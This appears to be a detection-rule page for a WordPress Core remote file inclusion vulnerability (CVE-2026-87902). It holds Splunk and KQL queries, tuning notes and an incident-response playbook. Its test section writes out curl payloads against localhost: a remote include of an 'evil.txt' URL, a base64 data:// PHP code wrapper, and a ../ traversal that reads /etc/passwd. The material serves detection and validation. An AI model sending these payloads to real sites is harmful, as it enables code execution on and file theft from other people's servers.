Detect WordPress Core Remote File Inclusion (CVE-2026-87902) Exploitation in Splunk
Detects exploitation attempts against CVE-2026-87902, a remote file inclusion (RFI) vulnerability in WordPress Core (CWE-98). Attackers supply attacker-controlled URLs or path-traversal payloads to inclusion parameters, causing the server to include and execute remote or unintended local PHP resources. This CVE is on the CISA KEV catalog with confirmed in-the-wild exploitation. The detection surfaces HTTP requests containing remote URL wrappers (http://, https://, ftp://, php://, data://), path traversal sequences to include parameters, subsequent outbound connections from the web server to attacker infrastructure, and web-shell / PHP execution artifacts written under the WordPress webroot.
MITRE ATT&CK
- Tactic
- Initial Access Execution
SPL Detection Query
index=web (sourcetype="ms:iis" OR sourcetype="access_combined" OR sourcetype="apache:access" OR sourcetype="nginx:access")
| eval decoded=urldecode(uri_query)
| where (like(lower(uri_path),"%wp-content%") OR like(lower(uri_path),"%wp-includes%") OR like(lower(uri_path),"%index.php%") OR like(lower(uri_path),"%wp-load.php%"))
| regex decoded="(?i)(file|page|path|include|template|lang|url|src|document|folder|root)=(https?|ftp|php|data|phar|expect)://|(?i)(file|page|path|include|template|lang)=(\.\.[\\/]){2,}"
| table _time clientip site method uri_path uri_query decoded status useragent
| sort - _timeSplunk search across IIS/Apache/Nginx access logs for WordPress inclusion parameters carrying remote wrappers or traversal payloads matching CVE-2026-87902.
Data Sources
Required Sourcetypes
False Positives & Tuning
- CDN or reverse-proxy plugins that legitimately embed absolute URLs in query strings
- Automated vulnerability scanners generating RFI probe traffic
- Marketing/campaign URLs passing tracking links through redirect parameters
Other platforms for CVE-2026-87902
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Remote URL inclusion via page parameter
Expected signal: Web access log entry with query string page=http://... and an outbound connection attempt from the web server to 127.0.0.1:8000.
- Test 2PHP wrapper data:// code inclusion
Expected signal: Web access log entry containing file=data://text/plain;base64 payload.
- Test 3Path traversal local file inclusion
Expected signal: Web access log entry with template=../../../../etc/passwd under wp-content.
References (5)
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
- https://nvd.nist.gov/vuln/detail/CVE-2026-87902
- https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk
- https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk
- https://thehackernews.com/2026/09/attackers-exploit-wordpress-cve-2026.html
Response Playbook
Triage
- Confirm the affected host is running WordPress Core and determine the installed version against the CVE-2026-87902 advisory (GHSA-7hp8-65ch-5whp) to establish exploitability.
- Extract the full decoded request URI and identify the inclusion parameter and payload — determine whether it references a remote URL (true RFI), a php:///data:// wrapper (code exec), or local traversal (LFI).
- Correlate the source IP against threat intel and check for repeated or scripted requests; review the HTTP response code to judge whether the include likely succeeded (200 with anomalous body vs 500/403).
- Pivot to web server and PHP-FPM logs for the same timeframe to check for outbound fetches, PHP errors, or newly executed scripts.
Containment
- Block the attacker source IP(s) at the WAF/edge and add a virtual-patch rule rejecting remote wrappers and traversal in inclusion parameters.
- Isolate the affected web server from outbound internet egress to prevent retrieval of remote payloads, and take a forensic snapshot before remediation.
- Apply the WordPress Core security update / disable the vulnerable code path and set allow_url_include=Off and allow_url_fopen=Off in PHP configuration.
Evidence Collection
- Preserve raw web access logs, PHP-FPM/error logs, and any WAF logs covering the request window, capturing full URIs and request bodies.
- Image the webroot to capture any dropped webshells or modified PHP files, and record file hashes and timestamps of files under wp-content/ and wp-includes/.
- Capture outbound netflow/proxy records from the web server to identify the attacker-hosted remote include source.
Escalation Criteria
- !Escalate to incident response if a remote include returned HTTP 200 with executed output or a webshell/backdoor file is found under the webroot.
- !Escalate if outbound connections from the web server to unknown external hosts followed the exploit attempt, indicating successful payload retrieval.
- !Escalate to management/legal if evidence shows data access, lateral movement, or persistence following exploitation of this KEV-listed CVE.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server access logs showing inclusion parameters with remote wrappers or traversal - >
New or modified PHP files under wp-content/, wp-includes/, or uploads/ - >
PHP-FPM error logs referencing failed/successful include() of remote URLs - >
Outbound network connections from the web server to attacker-hosted include URLs
Tuning Guidance
Baseline legitimate parameters in your environment that carry absolute URLs (oEmbed proxies, redirect endpoints) and add them to an allowlist to cut false positives. Tighten the regex to the specific inclusion parameter names used by your installed plugins/themes. Prioritize alerts where the HTTP response was 200 and where the same source IP repeats the pattern across multiple endpoints. Pair with egress monitoring so that a matching request followed by an outbound connection from the web server escalates confidence to high.
Hunting Queries
Surfaces source IPs making repeated requests with remote-wrapper inclusion payloads, indicating scripted RFI attempts against WordPress.
W3CIISLog | extend q = url_decode(csUriQuery) | where q matches regex @"(?i)=(https?|ftp|php|data|phar|expect)://" | summarize count(), makeset(csUriStem) by cIP, bin(TimeGenerated, 1h) | where count_ > 5index=web | eval q=urldecode(uri_query) | regex q="(?i)=(https?|ftp|php|data|phar|expect)://" | stats count values(uri_path) by clientip | where count>5Atomic Red Team Tests
Simulates a classic RFI attempt supplying a remote HTTP URL to a WordPress inclusion parameter.
Command
curl -s -o /dev/null -w '%{http_code}' 'http://localhost/index.php?page=http://127.0.0.1:8000/evil.txt'Cleanup
rm -f /tmp/evil.txt 2>/dev/null; trueExpected Telemetry
Web access log entry with query string page=http://... and an outbound connection attempt from the web server to 127.0.0.1:8000.
Expected Detection
KQL/SPL RFI rule matches on the remote http:// wrapper in the page inclusion parameter.
Attempts inclusion of a base64 data:// PHP wrapper to achieve code execution without an external host.
Command
curl -s 'http://localhost/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+'Cleanup
trueExpected Telemetry
Web access log entry containing file=data://text/plain;base64 payload.
Expected Detection
RFI detection matches the data:// wrapper in the file inclusion parameter.
Simulates repeated ../ traversal against an inclusion parameter to include a local sensitive file.
Command
curl -s 'http://localhost/wp-content/index.php?template=../../../../etc/passwd'Cleanup
trueExpected Telemetry
Web access log entry with template=../../../../etc/passwd under wp-content.
Expected Detection
RFI/LFI traversal branch of the detection matches the repeated ../ sequence in the template parameter.